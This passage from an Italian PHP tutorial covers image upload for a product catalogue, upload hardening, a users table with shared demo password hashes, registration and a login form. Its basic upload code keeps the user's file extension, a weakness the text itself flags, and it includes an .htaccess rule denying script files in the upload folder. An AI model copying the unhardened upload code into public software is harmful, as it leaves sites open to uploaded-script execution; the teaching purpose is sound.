    <!-- ATTENZIONE: enctype Γ¨ OBBLIGATORIO per caricamento file -->
    <form action="inserimento.php" method="post" enctype="multipart/form-data">
        <label>Nome prodotto:</label><br>
        <input type="text" name="nome" required><br><br>
        
        <label>Descrizione:</label><br>
        <textarea name="descrizione" rows="3" cols="40"></textarea><br><br>
        
        <label>Prezzo (€):</label><br>
        <input type="number" name="prezzo" step="0.01" required><br><br>
        
        <label>Immagine prodotto:</label><br>
        <input type="file" name="immagine">
        <br><br>
        
        <input type="submit" value="πŸ’Ύ Salva Prodotto">
    </form>
    
    <p><a href="index.html">← Torna alla home</a></p>
</body>
</html>
⚠️ Differenza fondamentale:

Con type="file" il browser mostra un pulsante "Sfoglia" che permette di scegliere un file dal computer. L'utente non deve piΓΉ copiare manualmente il file nella cartella immagini!

βš™οΈ 8.2 Modifica di inserimento.php

Ora il PHP deve:

  1. Prendere i dati normali da $_POST
  2. Prendere il file da $_FILES (non da $_POST)
  3. Salvare il file nella cartella immagini con un nome univoco
  4. Salvare nel database il percorso del file
<?php
require_once 'connessione.php';

// 1. Dati normali dal form
$nome = $_POST['nome'];
$descrizione = $_POST['descrizione'];
$prezzo = $_POST['prezzo'];

// 2. Gestione caricamento file
$immagine = NULL;   // Valore di default: nessuna immagine

// Controllo se Γ¨ stato caricato un file senza errori
if (isset($_FILES['immagine']) && $_FILES['immagine']['error'] === UPLOAD_ERR_OK) {

    // 2.1. Recupero informazioni sul file
    $tmp_name = $_FILES['immagine']['tmp_name'];   // Percorso temporaneo sul server
    $nome_originale = $_FILES['immagine']['name']; // Nome originale (es: "foto.jpg")

    // 2.2. Estraggo l'estensione dal nome originale
    // pathinfo() analizza il nome del file e restituisce informazioni come estensione, directory, ecc.
    // PATHINFO_EXTENSION specifica che vogliamo solo l'estensione (es: "jpg", "png", "gif")
    // Questo Γ¨ importante: memorizziamo l'estensione del file originale perchΓ© quando generiamo
    // un nuovo nome univoco, dobbiamo mantenere l'estensione originale, altrimenti il file
    // perderebbe il suo tipo e potrebbe non essere piΓΉ visualizzabile/apribile correttamente
    $estensione = pathinfo($nome_originale, PATHINFO_EXTENSION);

    // 2.3. Creo un nome UNIVOCO per evitare conflitti
    // e aggiungo l'estensione del file originale
    // (memorizzata nell'istruzione precedente)
    // uniqid('img_', true) genera un identificativo unico basato sull'orario corrente
    // - 'img_' Γ¨ un prefisso per riconoscere facilmente i file caricati
    // - true rende il nome ancora piΓΉ unico, quasi impossibile che due file abbiano lo stesso nome
    // Questo previene: (1) sovrascritture se due utenti caricano file con lo stesso nome,
    // (2) attacchi di sicurezza con nomi file dannosi, (3) problemi con caratteri speciali
    $nome_univoco = uniqid('img_', true) . '.' . $estensione;

    // 2.4. Percorso completo dove salvare il file
    $destinazione = 'immagini/' . $nome_univoco;

    // 2.5. Sposto il file dalla cartella temporanea alla cartella definitiva
    // e controllo se lo spostamento Γ¨ avvenuto con successo
    if (move_uploaded_file($tmp_name, $destinazione)) {
        // Se lo spostamento ha successo, salvo il percorso nel DB
        $immagine = $destinazione;
    } else {
        // Se fallisce, mostro un errore (ma potrei anche ignorarlo e continuare senza immagine)
        echo "<p class='warning'>⚠️ Attenzione: impossibile salvare l'immagine.</p>";
    }
}

// 3. Inserimento nel database (con o senza immagine)
$stmt = $conn->prepare(
    "INSERT INTO prodotti (nome, descrizione, prezzo, immagine)
     VALUES (?, ?, ?, ?)"
);

// "ssds" = stringa, stringa, double, stringa (NULL se $immagine Γ¨ NULL)
$stmt->bind_param("ssds", $nome, $descrizione, $prezzo, $immagine);

$stmt->execute();

// 4. Messaggio di conferma
echo "<h2>βœ… Prodotto salvato con successo!</h2>";
echo "<p>Nome: " . htmlspecialchars($nome) . "</p>";
echo "<p>Prezzo: €" . htmlspecialchars($prezzo) . "</p>";
if ($immagine) {
    echo "<p>Immagine: <img src='" . htmlspecialchars($immagine) . "' width='100'></p>";
}
echo "<p><a href='index.html'>← Torna alla home</a></p>";

$stmt->close();
$conn->close();
?>
πŸ” Spiegazione del codice:
⚠️ Attenzione: questa versione NON è completa per un sito pubblico!

Il codice usa uniqid() che genera un nome file casuale, quindi alcuni problemi sono giΓ  prevenuti:

PerΓ² mancano ancora questi controlli di sicurezza:

βœ… Per un progetto didattico locale (XAMPP sul tuo PC) questo codice va bene.
❌ Per un sito pubblico, aggiungi i controlli della sezione 10 (Miglioramenti di Sicurezza).

Test della funzionalitΓ 

  1. Crea la cartella immagini in C:\xampp\htdocs\progetto\
  2. Apri http://localhost/progetto/inserimento.html
  3. Compila i campi e clicca su "Sfoglia" per scegliere un'immagine dal tuo computer
  4. Clicca "Salva Prodotto"
  5. Se tutto funziona, verrai reindirizzato a una pagina che mostra i dati e l'anteprima dell'immagine caricata
  6. Vai a http://localhost/progetto/ricerca.html e cerca il prodotto: dovresti vedere l'immagine nella tabella
πŸŽ‰ FunzionalitΓ  completata!

Ora il tuo progetto permette di caricare immagini direttamente dal computer, senza bisogno di copiarle manualmente nella cartella immagini.


10. Miglioramenti di Sicurezza per il Caricamento (Solo per progetti reali)

Il codice mostrato sopra funziona, ma Γ¨ vulnerabile. Questa sezione spiega COSA aggiungere per renderlo piΓΉ sicuro. Non Γ¨ obbligatorio per il progetto didattico, ma Γ¨ importante saperlo per quando costruirai siti reali.

⚠️ Perché questo codice è pericoloso?

10.1 Controllo del tipo di file (MIME type)

Non fidarsi dell'estensione del file! Un attacker puΓ² rinominare script.php in foto.jpg. Dobbiamo verificare il tipo MIME (che Γ¨ piΓΉ affidabile).

// Dopo aver verificato UPLOAD_ERR_OK, aggiungi:
$allowed_types = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];

if (!in_array($_FILES['immagine']['type'], $allowed_types)) {
    die("❌ Tipo di file non consentito. Solo immagini JPG, PNG, GIF, WebP.");
}
PerchΓ© controllare il MIME type?

Il browser invia il tipo MIME (es: image/jpeg). ⚠️ Questo valore viene dal browser e può essere falsificato. Per un controllo più rigoroso in produzione si userebbe finfo_file() che analizza il contenuto reale del file. Per il nostro progetto didattico, il controllo sull'estensione e sul MIME type del browser è sufficiente.

πŸ“ŒΒ 10.2 Controllo della dimensione massima

Limita la dimensione per evitare che un utente carichi file troppo grandi che potrebbero intasare il disco.

// 2 MB (2 * 1024 * 1024 byte)
$max_size = 2 * 1024 * 1024;

if ($_FILES['immagine']['size'] > $max_size) {
    die("❌ File troppo grande. Massimo 2 MB.");
}

10.3 Nome univoco per evitare conflitti

Usa uniqid() per generare un nome file casuale e unico. Questo risolve DUE problemi in una volta:

// Genera un nome unico e sicuro
$nome_univoco = uniqid('img_', true) . '.' . $estensione;
$destinazione = 'immagini/' . $nome_univoco;
move_uploaded_file($tmp_name, $destinazione);
βœ… PerchΓ© uniqid() Γ¨ sufficiente:

❌ NON serve preg_replace() se usi uniqid() perché il nome originale del file non viene mai usato!

10.4 Prevenire l'esecuzione di file PHP nella cartella immagini

Se per caso un file .php viene caricato nella cartella immagini, potrebbe essere eseguito se qualcuno visita l'URL. Per bloccare questa possibilitΓ , crea un file .htaccess dentro C:\xampp\htdocs\progetto\immagini\ con questo contenuto:

.htaccess
# Blocca l'esecuzione di script PHP in questa cartella
# Sintassi Apache 2.4+ (XAMPP moderno)
<FilesMatch "\.php">
    Require all denied
</FilesMatch>

# Blocca anche altri file eseguibili (opzionale)
<FilesMatch "\.(pl|py|jsp|asp|sh|bash)$">
    Require all denied
</FilesMatch>
πŸ“Œ Cosa fa .htaccess?

È un file di configurazione di Apache che dice: "Nella cartella immagini, nega l'accesso a tutti i file con estensione .php". In questo modo, anche se un file hacker.php viene caricato, non potrà essere eseguito.

πŸ“ 10.6 Cartella caricamento esterna (soluzione migliore)

La pratica più sicura è salvare i file fuori dalla radice web (cioè non in C:\xampp\htdocs\). In questo modo, nessun file caricato potrà mai essere eseguito direttamente via web.

// 1. Sposta la cartella immagini FUORI da C:\xampp\htdocs\
// Es: C:\xampp\uploads\ invece di C:\xampp\htdocs\progetto\immagini\

// 2. Modifica il percorso in PHP
$destination = '../uploads/' . $nome_univoco;  // Nota: .. risale di una cartella

// 3. Per visualizzare l'immagine, crea uno script "leggi_immagine.php" che:
//    - Riceve l'ID del prodotto
//    - Legge il percorso dal database
//    - Legge il file dal disco (fuori da C:\xampp\htdocs\)
//    - Lo invia al browser con header("Content-Type: image/jpeg");
//    - Nel HTML userai: <img src="leggi_immagine.php?id=123">
⚠️ Complessità:

Questo metodo Γ¨ piΓΉ sicuro ma piΓΉ complesso. Per un progetto didattico locale, la cartella immagini dentro C:\xampp\htdocs\progetto\ con il file .htaccess Γ¨ sufficiente.

βš™οΈ 10.7 Codice completo con tutti i controlli di sicurezza

Ecco come sarebbe inserimento.php con TUTTI i controlli di sicurezza (da studiare, non da usare nel progetto base):

<?php
require_once 'connessione.php';

$nome = $_POST['nome'];
$descrizione = $_POST['descrizione'];
$prezzo = $_POST['prezzo'];
$immagine = NULL;

if (isset($_FILES['immagine']) && $_FILES['immagine']['error'] === UPLOAD_ERR_OK) {
    
    // 1. CONTROLLO DIMENSIONE MASSIMA (2 MB)
    $max_size = 2 * 1024 * 1024;
    if ($_FILES['immagine']['size'] > $max_size) {
        die("❌ File troppo grande. Massimo 2 MB.");
    }
    
    // 2. CONTROLLO TIPO MIME (solo immagini)
    $allowed_types = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
    if (!in_array($_FILES['immagine']['type'], $allowed_types)) {
        die("❌ Tipo di file non consentito. Solo immagini JPG, PNG, GIF, WebP.");
    }
    
    // 3. PULIZIA NOME FILE (rimuovo caratteri pericolosi)
    $nome_originale = $_FILES['immagine']['name'];
    $nome_originale = preg_replace("/[^A-Z0-9._-]/i", "_", $nome_originale);
    
    // 4. ESTRAZIONE ESTENSIONE
    $estensione = pathinfo($nome_originale, PATHINFO_EXTENSION);
    
    // 5. NOME UNIVOCO (hash del file + timestamp)
    $tmp_name = $_FILES['immagine']['tmp_name'];
    $hash = md5_file($tmp_name) . time();
    $nome_univoco = $hash . '.' . $estensione;
    
    // 6. PERCORSO DESTINAZIONE
    $destinazione = 'immagini/' . $nome_univoco;
    
    // 7. SPOSTAMENTO SICURO
    if (!move_uploaded_file($tmp_name, $destinazione)) {
        die("❌ Errore nel salvataggio del file.");
    }
    
    $immagine = $destinazione;
}

// Inserimento nel DB (come prima)
$stmt = $conn->prepare(
    "INSERT INTO prodotti (nome, descrizione, prezzo, immagine) 
     VALUES (?, ?, ?, ?)"
);
$stmt->bind_param("ssds", $nome, $descrizione, $prezzo, $immagine);
$stmt->execute();

echo "<h2>βœ… Prodotto salvato con successo!</h2>";

// Messaggio di conferma con i dettagli del prodotto
echo "<p><strong>Nome:</strong> " . htmlspecialchars($nome) . "</p>";
echo "<p><strong>Descrizione:</strong> " . htmlspecialchars($descrizione) . "</p>";
echo "<p><strong>Prezzo:</strong> €" . number_format($prezzo, 2) . "</p>";
echo "<p><strong>Immagine:</strong> " . htmlspecialchars($immagine) . "</p>";
echo "<p><a href='elenco.php'>Vedi tutti i prodotti</a> | <a href='carica.php'>Carica un altro prodotto</a></p>";

// Chiudi la connessione
$stmt->close();
$conn->close();

?>

πŸ“Œ Riepilogo: Cosa aggiungere per rendere sicuro il caricamento

Controllo PerchΓ© Γ¨ importante Come si fa (codice)
Dimensione massima Evita che un utente carichi file giganti che riempiono il disco if ($_FILES['size'] > $max_size) die("...");
Tipo MIME Evita che vengano caricati file pericolosi (.php, .exe, ecc.) in_array($_FILES['type'], $allowed_types)
Nome file univoco Evita caratteri pericolosi, path traversal e conflitti tra file uniqid('img_', true) . '.' . $estensione
πŸ“ Spiegazione:
  • uniqid() genera una stringa univoca basata sul timestamp corrente in microsecondi. Esempio: "65f3a2b8e4f12" Γ¨ sempre diverso anche se chiami la funzione due volte di seguito.
  • md5_file($tmp_name) calcola l'hash MD5 del contenuto del file (una "impronta digitale" di 32 caratteri). Se il file cambia anche di un solo bit, l'hash cambia completamente.
  • time() aggiunge il timestamp corrente (secondi) per garantire unicitΓ  anche se due file hanno lo stesso identico contenuto.
Esempio pratico:
// Con uniqid():
$nuovo_nome = uniqid() . '_' . $nome_originale;
// Risultato: "65f3a2b8e4f12_foto.jpg"

// Con md5_file + time():
$hash = md5_file($tmp_name) . '_' . time();
$nuovo_nome = $hash . '_' . $nome_originale;
// Risultato: "a3c5f8e9d2b1a4f6e8c0d3b5a7f9e1c2_1709876543_foto.jpg"
                
.htaccess Blocca l'esecuzione di file PHP nella cartella immagini File .htaccess con Deny from all per .php
Cartella esterna I file caricati non sono accessibili direttamente via web Salva fuori da C:\xampp\htdocs\ e usa script per leggerli
Conclusione:

Per il tuo progetto didattico locale, puoi usare la versione semplificata (con minori controlli) perchΓ©:

Quando costruirai un sito vero, devi implementare tutti i controlli di sicurezza visti in questa sezione.

11. Aggiungiamo il sistema di login: acquirenti e venditori

Il sistema di login Γ¨ come un palazzo con portinaio e badge identificativi: Senza il badge, non puoi entrare nelle stanze riservate. E ogni stanza controlla il tuo badge prima di farti entrare.
βœ… Cosa imparerai in questa sezione:

πŸ“– Glossario: Le sessioni e la sicurezza

Leggi questo prima! Questi concetti sono fondamentali per capire il resto.

Sessione
Un meccanismo del server che mantiene dati specifici per un utente mentre naviga tra le pagine. È come un armadietto personale dove il server tiene le tue cose (username, permessi, ecc.) finché non chiudi il browser.
session_start()
La funzione PHP che attiva il sistema delle sessioni. Deve essere la prima riga di ogni file PHP che usa le sessioni, prima di qualsiasi output HTML. Crea l'armadietto se non esiste, o lo apre se esiste giΓ .
$_SESSION
Un array associativo speciale dove salvi i dati che devono persistere tra le pagine (es: $_SESSION['username']). I dati sono sul server, non nel browser!
Password Hash
Una impronta digitale della password. Trasforma "password123" in un codice lungo e incomprensibile (es: $2y$10$92IXUNpkjO0r...). È one-way: puoi creare l'hash da una password, ma non tornare indietro.
password_verify()
La funzione che confronta una password in chiaro con un hash. Non "decodifica" l'hash, ma verifica se la password digitata produce lo stesso hash.
header("Location: ...")
Un comando PHP che reindirizza il browser a un'altra pagina. Deve essere chiamato prima di qualsiasi output HTML, altrimenti dΓ  errore.

🎯 COME FUNZIONANO LE SESSIONI


Le sessioni risolvono un problema fondamentale del web: HTTP Γ¨ "senza memoria". Ogni pagina che visiti Γ¨ isolata dalle altre. Senza sessioni, dovresti reinserire username e password in ogni pagina del sito!

Il ciclo di vita di una sessione:

1. Login
⬇️
2. Il server crea un "armadietto" segreto
⬇️
3. Ci salva dentro i tuoi dati (es. username)
⬇️
4. Naviga: il server riconosce il tuo "armadietto"
⬇️
5. Logout: svuota l'armadietto
❌ SENZA sessioni (e cookie)

Il problema: HTTP Γ¨ "senza memoria". Ogni richiesta Γ¨ indipendente dalle altre.

Cosa succederebbe:

  • Dovresti reinserire username e password in ogni pagina che visiti
  • ⚠️ Oppure dovresti passare i dati nell'URL: dashboard.php?username=mario&password=123 β†’ PERICOLOSO! (chiunque vede l'URL ruba le tue credenziali)
  • Il server non sa chi sei: per lui sei sempre un nuovo visitatore
  • Non puoi avere un carrello acquisti, una lista preferiti, o una pagina personale

In sintesi: Senza sessioni, il web sarebbe inutilizzabile per qualsiasi applicazione che richiede "memoria" tra una pagina e l'altra.

vs
βœ… CON sessioni e cookie

La soluzione: Il server usa sessioni + cookie per "ricordarsi" di te.

Cosa succede:

  • Al primo login, il server crea un file di sessione sul server (l'"armadietto") con i tuoi dati (esempio username, password)
  • Il server ti dΓ  un cookie con un ID univoco (es. PHPSESSID=abc123) β†’ Γ¨ il "numero dell'armadietto"
  • Ogni volta che clicchi su un link, il browser rispedisce automaticamente il cookie al server
  • πŸ” Il server legge l'ID, apre il tuo "armadietto" e sa giΓ  chi sei (username, tipo utente, permessi...)
  • βœ… Puoi navigare liberamente: il carrello, i preferiti, la pagina personale rimangono attivi

In sintesi: Con sessioni e cookie, il server ti riconosce ad ogni click senza dover reinserire i dati. È come avere un badge che ti identifica in tutto il palazzo!

πŸ’‘ Il Segreto della Sessione:
La "magia" non Γ¨ nel server che ricorda tutto da solo. La magia Γ¨ che il Browser si comporta come un fattorino: riporta sempre il bigliettino (Cookie) ad ogni viaggio. Senza quel bigliettino, il Server (magazziniere) non saprebbe quale armadietto aprire!

12. Creiamo la tabella degli utenti

La tabella utenti Γ¨ come un registro del portinaio:

πŸ“ Modifica database aggiungendo tabella utenti

Nelle sezioni precedenti abbiamo creato la tabella prodotti. Ora aggiungiamo la tabella utenti per gestire login e sessioni.

Apri http://localhost/phpmyadmin, seleziona il database web_app dalla colonna di sinistra, clicca sulla scheda "SQL" in alto e copia/incolla ed esegui il seguente codice:

πŸ“„ SQL per aggiungere la tabella utenti
-- Usa il database web_app (giΓ  creato in precedenza)
USE web_app;

-- Crea la tabella utenti
CREATE TABLE IF NOT EXISTS utenti (
    id INT AUTO_INCREMENT PRIMARY KEY,      -- Numero unico che si assegna da solo
    username VARCHAR(50) NOT NULL UNIQUE,   -- Nome utente (deve essere unico)
    password VARCHAR(255) NOT NULL,         -- Password criptata (hash)
    tipo ENUM('acquirente', 'venditore') NOT NULL  -- Tipo di utente
);

-- Inserisce utenti di prova
-- La password per tutti Γ¨: password123
INSERT INTO utenti (username, password, tipo) VALUES
('mario_venditore', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', 'venditore'),
('luigi_venditore', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', 'venditore'),
('anna_acquirente', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', 'acquirente'),
('giovanni_acq', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', 'acquirente');

-- πŸ’‘ Nota: Tutti usano lo stesso hash valido e verificato.
-- Se vuoi generare hash nuovi: esegui echo password_hash('password123', PASSWORD_DEFAULT);
βœ… Utenti di prova creati:
πŸ“ Aggiorna la tabella prodotti
Ora che abbiamo i venditori, aggiungiamo il campo per sapere chi ha inserito ogni prodotto. Esegui questo codice in phpMyAdmin:
πŸ“„ SQL: Aggiorna tabella prodotti versione FINALE
-- VERSIONE DEFINITIVA E COMPLETA della tabella prodotti
ALTER TABLE prodotti ADD COLUMN venditore VARCHAR(50) NOT NULL AFTER immagine;

-- Oppure se vuoi ricrearla da zero completa:
CREATE TABLE IF NOT EXISTS prodotti (
    id INT AUTO_INCREMENT PRIMARY KEY,
    nome VARCHAR(50) NOT NULL,
    descrizione TEXT,
    prezzo DECIMAL(6,2) NOT NULL,
    immagine VARCHAR(255),
    venditore VARCHAR(50) NOT NULL
);

πŸ“‚ La struttura del progetto

File del progetto con gestione utenti
C:\xampp\htdocs\progetto\index.html           β†’ Pagina pubblica (menu principale)
C:\xampp\htdocs\progetto\login.html           β†’ Form per inserire credenziali
C:\xampp\htdocs\progetto\login.php            β†’ "Portinaio": verifica credenziali e crea sessione
C:\xampp\htdocs\progetto\logout.php           β†’ Distrugge la sessione (esci)
C:\xampp\htdocs\progetto\inserisciUtente.html β†’ Form per registrare nuovi utenti
C:\xampp\htdocs\progetto\inserisciUtente.php  β†’ Cripta password e salva utente nel DB
C:\xampp\htdocs\progetto\dashboard.php        β†’ Pagina personale dopo login
C:\xampp\htdocs\progetto\inserimento.html     β†’ Form inserimento (protetta, solo venditori)
C:\xampp\htdocs\progetto\inserimento.php      β†’ Salva prodotto (protetta, solo venditori)
C:\xampp\htdocs\progetto\ricerca.html         β†’ Form ricerca (protetta, tutti gli utenti)
C:\xampp\htdocs\progetto\ricerca.php          β†’ Esegue ricerca (protetta, tutti)
C:\xampp\htdocs\progetto\connessione.php      β†’ Connessione al database
C:\xampp\htdocs\progetto\immagini\            β†’ Cartella immagini prodotti

πŸ“„ Il codice di index.html (pagina principale)

Questa Γ¨ la pagina di benvenuto che mostra il menu con i link alle varie funzionalitΓ  del progetto.

πŸ“„ index.html
<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Catalogo Prodotti - Home</title>
</head>
<body>
    <h1>Catalogo Prodotti</h1>

    <p><a href="login.html">Accedi</a></p>
    <p><a href="inserisciUtente.html">Registrati</a></p>
</body>
</html>
🎯 Cosa fa questa pagina:

⚠️ Nota importante: I link alle pagine protette (inserimento.html per i venditori, ricerca.html per tutti gli utenti) NON sono presenti in index.html perché queste pagine richiedono il login. Saranno visibili solo nella dashboard dopo aver effettuato l'accesso.

Come inserisco nuovi utenti nel database?
Il modo piΓΉ pratico Γ¨ creare un form che permette di inserire username e password, e un file PHP che:
1. Riceve i dati dal form
2. Cripta la password con password_hash()
3. Inserisce l'utente nella tabella

πŸ“„ inserisciUtente.html (il form)
<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Inserisci Nuovo Utente</title>
</head>
<body>
    <h2>πŸ“ Registrati</h2>

    <form action="inserisciUtente.php" method="post">
        <label for="reg_username">Username:</label><br>
        <input type="text" id="reg_username" name="username" required><br><br>

        <label for="reg_password">Password:</label><br>
        <input type="password" id="reg_password" name="password" required><br><br>

        <input type="submit" value=" Registrati">
    </form>

    <p><a href="index.html">← Torna alla home</a></p>
</body>
</html>

βš™οΈ inserisciUtente.php (il "cervello" che salva l'utente)
<?php
// 1. Include la connessione al database
require_once "connessione.php";

// 2. Recupera i dati dal form
// Verifica che i campi siano compilati
if (empty($_POST['username']) || empty($_POST['password'])) {
    die("❌ Errore: Username e password sono obbligatori.");
}
$username = $_POST['username'];
$password = $_POST['password'];

// 3. Controllo se l'username esiste giΓ  (piΓΉ user-friendly)
$stmt_check = $conn->prepare("SELECT id FROM utenti WHERE username = ?");
$stmt_check->bind_param("s", $username);
$stmt_check->execute();
$stmt_check->store_result();

if ($stmt_check->num_rows > 0) {
    die("❌ Errore: L'username '" . htmlspecialchars($username) . "' è già in uso. Scegline un altro.");
}
$stmt_check->close();

// 4. Imposta il tipo utente di default
// Tutti i nuovi utenti sono "acquirenti" (non ha senso farlo scegliere all'utente)
$tipo = "acquirente";

// 5. Cripta la password con password_hash()
// PASSWORD_DEFAULT usa l'algoritmo piΓΉ sicuro disponibile
$password_hashata = password_hash($password, PASSWORD_DEFAULT);

// 6. Prepara la query con i segnaposto
$stmt = $conn->prepare(
    "INSERT INTO utenti (username, password, tipo) VALUES (?, ?, ?)"
);

// 7. Collega i valori ai segnaposto
// "sss" = stringa, stringa, stringa (username, password hash, tipo)
$stmt->bind_param("sss", $username, $password_hashata, $tipo);

// 8. Esegue l'inserimento
if ($stmt->execute()) {
    echo "βœ… Utente registrato con successo!";
    echo '<p><a href="login.html">Vai al login</a></p>';
} else {
    echo "❌ Errore durante la registrazione: " . $stmt->error;
}

// 9. Chiudi la connessione
$stmt->close();
$conn->close();
?>

🎯 Come usare questi file:
  1. Crea i due file inserisciUtente.html e inserisciUtente.php nella cartella del progetto
  2. Apri il browser: http://localhost/progetto/inserisciUtente.html
  3. Compila il form con username e password
  4. Clicca "Registrati": il file PHP cripta la password e salva l'utente come "acquirente" (ruolo di default)

PerchΓ© non c'Γ¨ il campo "Tipo utente" nel form?
Non ha senso permettere all'utente di scegliere autonomamente se essere "venditore" o "acquirente".
Il tipo Γ¨ impostato direttamente nel PHP: tutti i nuovi utenti sono "acquirenti" di default (ruolo con meno privilegi).
Se in futuro vuoi promuovere un utente a "venditore", puoi farlo manualmente modificando il database o creando una pagina admin riservata.



πŸ” PerchΓ© la password Γ¨ cosΓ¬ lunga e strana? E perchΓ© ogni volta Γ¨ diversa?

La password password123 Γ¨ stata trasformata con password_hash() in un hash che Γ¨ la password crittografata dal'istruzione PHP password_hash(...) .

IMPORTANTE: Se esegui password_hash('password123', PASSWORD_DEFAULT) tre volte, otterrai tre hash diversi! Esempio:
Questo perchΓ© PHP aggiunge un "sale" casuale (random salt) che determina insieme alla password l'hash.
Il sale Γ¨ come un "condimento" unico che rende ogni hash diverso, anche per la stessa password.

πŸ” E per verificare la password? Usiamo password_verify()
Quando un utente fa il login, deve digitare la sua password. Come facciamo a controllare se Γ¨ giusta?
Non possiamo confrontare l'hash (password + sale crittografata) con la password in chiaro (sono cose diverse!).
Per fortuna PHP ha una funzione magica: password_verify().

Come funziona password_verify():
password_verify($password_digitata, $hash_dal_database)

Questa funzione fa 3 cose automaticamente:
  1. Prende l'hash dal database ed estrae il "sale" che c'Γ¨ dentro
  2. Aggiunge quel sale alla password che l'utente ha appena digitato β†’ poi crea l'hash di questa combinazione
  3. Confronta i due hash: quello appena creato (dal punto 2) con quello nel database;


Risultato: Ritorna true se la password Γ¨ corretta (i due hash coincidono), false se Γ¨ sbagliata (i due hash sono diversi).
Tu non devi fare nulla! PHP gestisce tutto automaticamente. πŸŽ‰
️ Perché il "sale" è fondamentale per la sicurezza?

Scenario: 3 utenti hanno la STESSA password ("password123").
Immagina che un hacker rubi il tuo database.

❌ SENZA sale (hash uguali per password uguali):
Nel database l'hacker vede:
utente1: $2y$10$ABC123xyz... (hash identico)
utente2: $2y$10$ABC123xyz... (hash identico)
utente3: $2y$10$ABC123xyz... (hash identico)

βœ… CON sale casuale (hash diversi anche per password uguali):
Nel database l'hacker vede:
utente1: $2y$10$eMKHzsH3hVqF8zN5xK7pL.uX9vR2wQ4tY6sA8bC0dE1fG2hI3jK4m
utente2: $2y$10$pLqR7sT9uV1wX3yZ5aB7cO.dE8fG0hI2jK4lM6nO8pQ0rS2tU4vW6
utente3: $2y$10$xY1zA3bC5dE7fG9hI1jK3lM.nO5pQ7rS9tU1vW3xY5zA7bC9dE1fG

Il sale rende ogni hash unico, anche per password identiche!
πŸ“š Approfondimento: Cos'Γ¨ PASSWORD_DEFAULT?

PASSWORD_DEFAULT Γ¨ una costante di PHP che indica quale algoritmo usare per creare l'hash.

PerchΓ© usarlo?
Altre opzioni (meno consigliate):
βœ… Consiglio: Usa sempre PASSWORD_DEFAULT nei tuoi progetti!
πŸ’‘ In pratica, userai cosΓ¬:
// REGISTRAZIONE (crei l'hash)
$hash = password_hash('password123', PASSWORD_DEFAULT);
// Salvi $hash nel database

// LOGIN (verifichi la password)
if (password_verify('password123', $hash)) {
    echo "Password corretta! βœ…";
} else {
    echo "Password sbagliata! ❌";
}
πŸ” SPIEGAZIONE SEMPLICE: Cos'Γ¨ questo HASH?

Guarda un hash vero, così capiamo insieme:
$2y$10$N9qo8uLOickgx2ZMRZoMye.IjqQBrkHx9Dm0kLlUu.wKxN3

Cos'è questa stringa? È la password "password123" trasformata in modo sicuro.

Le 2 parti IMPORTANTI:
$2y$10$N9qo8uLOickgx2ZMRZoMye IL SALE (22 caratteri casuali)
.IjqQBrkHx9Dm0kLlUu.wKxN3 LA PASSWORD CIFRATA

In pratica:
Riga: password VARCHAR(255)
Usiamo 255 caratteri perchΓ© l'hash di password_hash() puΓ² essere lungo fino a 60 caratteri, ma usiamo 255 per sicurezza futura (se cambiamo algoritmo).
MAI usare VARCHAR(20) o simili per le password!
Riga: tipo ENUM('acquirente', 'venditore')
ENUM significa "enumerazione": la colonna puΓ² contenere solo uno dei valori elencati.
È come un menu a tendina con solo due opzioni. Impedisce errori di battitura (es: "venditore" vs "venditori").

πŸ”‘ Aggiorniamo connessione.php

πŸ”‘ connessione.php (versione aggiornata)
<?php
// ═══════════════════════════════════════════
// LE "CHIAVI" PER ENTRARE NEL DATABASE
// ═══════════════════════════════════════════

$servername = "localhost";
$username = "root";
$password = "";
$dbname = "web_app";

// Crea la connessione
$conn = new mysqli($servername, $username, $password, $dbname);

// Controlla errori
if ($conn->connect_error) {
    die("❌ Connessione fallita: " . $conn->connect_error);
}

// Se arriviamo qui, la connessione funziona! πŸŽ‰
?>

13. La pagina di login (HTML)

Il login.html Γ¨ come il citofono all'ingresso:
πŸ” login.html
<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Login - Area Riservata</title>
</head>
<body>
    <h2>πŸ” Accedi al Sistema</h2>
    
    <p>Inserisci le tue credenziali per accedere:</p>
    
    <!-- 
    action="login.php" = i dati vanno al "portinaio" che controlla
    Con method="post" username e password non appaiono nell'URL (ma non sono crittografati senza HTTPS)
    -->
    <form action="login.php" method="post">

        <label for="login_username">Username:</label><br>
        <input type="text" id="login_username" name="username" required>
        <br><br>

        <label for="login_password">Password:</label><br>
        <!-- type="password" maschera i caratteri (mostra puntini) -->
        <input type="password" id="login_password" name="password" required>
        <br><br>
        
        <input type="submit" value=" Accedi">
    </form>
    
    <div class="tip">
        <strong>Utenti di prova:</strong><br>
        Venditori: mario_venditore / luigi_venditore (password: password123)<br>
        Acquirenti: anna_acquirente / giovanni_acq (password: password123)
    </div>
    
    <p><a href="index.html">← Torna alla home pubblica</a></p>
</body>
</html>
Riga: <input type="password">
L'attributo type="password" maschera i caratteri digitati (mostra puntini o asterischi).
È solo un effetto visivo: nel codice HTML il valore è testo normale.
Una prima forma di risevatezza viene da method="post" (dati non visibili nell'URL) ma Senza HTTPS, i dati inviati via POST sono comunque in chiaro. Chiunque intercetti il traffico di rete con Wireshark o sia sul tuo stesso Wi-Fi pubblico legge tranquillamente username e password.Quindi per la sicurezza Γ¨ necessario usare HTTPS.

14. Il "portinaio": login.php

Questo file Γ¨ il portinaio digitale:
  1. πŸ“Œ Riceve username e password dal citofono (form)
  2. πŸ” Cerca nell'archivio (database) se esiste quell'username
  3. πŸ” Verifica che la password corrisponda (confronta gli hash)
  4. Se tutto ok, prepara il badge identificativo (sessione)
  5. πŸšͺ Apre la porta e ti guida all'atrio (dashboard)
πŸ‘€ login.php
<?php
// ╔════════════════════════════════════════════════════════╗
// β•‘ PASSO 0: AVVIA IL SISTEMA DI SESSIONI                  β•‘
